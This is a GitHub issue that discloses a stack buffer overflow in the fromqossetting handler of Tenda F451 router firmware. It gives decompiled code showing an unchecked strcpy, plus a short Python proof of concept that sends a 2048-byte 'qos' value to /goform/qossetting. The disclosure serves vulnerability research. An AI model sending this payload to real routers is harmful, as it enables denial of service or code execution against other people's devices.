New issue

The fromqossetting function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #18

Open

Jimi-Lab opened 2 weeks ago Owner

Information

Vendor: Tenda
Product: F451_kfw_V1.0.0.7_cn_svn7958
Version: V1.0.0.7
Vulnerability: buffer overflow
Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In fromqossetting function,it reads in a user-provided parameter qos,

```
43  sub_1495C("GetUrlMember", formUrlMember);
44  sub_1495C("GetAllUrlList", formAllUrlList);
45  sub_1495C("webExcptypemanFilter", fromwebExcptypemanFilter);
46  sub_1495C("L7Prot", frmL7ProtForm);
47  sub_1495C("qossetting", fromqossetting);
48  sub_1495C("Natlimit", fromNatlimit);
49  sub_D878("TendaGetArp", aspTendaGetArp);
50  sub_1495C("SafeMacFilter", fromSafeMacFilter);
51  sub_1495C("SafeIpFilter", formSafeIpFilter);
```

And the variable src is passed to the strcpy function without any length check, which may overflow the stack-based buffer dest.

```
int __fastcall fromqossetting(int a1)
{
  void *v1; // r0
  int v2; // r0
  char dest[2]; // [sp+14h] [bp-140h] BYREF
  char s[256]; // [sp+2Ch] [bp-128h] BYREF
  char *src; // [sp+12Ch] [bp-28h]
  const char *v8; // [sp+130h] [bp-24h]
  char *s1; // [sp+134h] [bp-20h]
  int v10; // [sp+138h] [bp-1Ch]
  int v11; // [sp+13Ch] [bp-18h]
  int v12; // [sp+140h] [bp-14h]
  int v13; // [sp+144h] [bp-10h]

  v13 = 0;
  v12 = 0;
  v11 = sub_3C5E8(a1);
  v10 = sub_28BCC(a1, "entrys", &unk_81720);
  s1 = (char *)sub_28BCC(a1, "op", "no");
  sub_3A530("adv.qos", v10, 126);
  v8 = (const char *)sub_28BCC(a1, "page", "1");
  sprintf(s, "qos_list.asp?page=%s", v8);
  if ( !strncmp(s1, "add", 3u) || !strncmp(s1, "edit", 4u) )
  {
    SetValue("adv.qos.mode", "1");
    v1 = memcpy(dest, "1", sizeof(dest));
  }
  else
  {
    src = (char *)sub_28BCC(a1, "qos", "0");
    SetValue("adv.qos.mode", src);
    v1 = strcpy(dest, src);
  }
```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (PoC)

```
import requests
url = "http://127.0.0.1/goform/qossetting"
payload = {
'qos':b'a'*2048
}
res = requests.post(url=url,data=payload)
```

Overcome

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants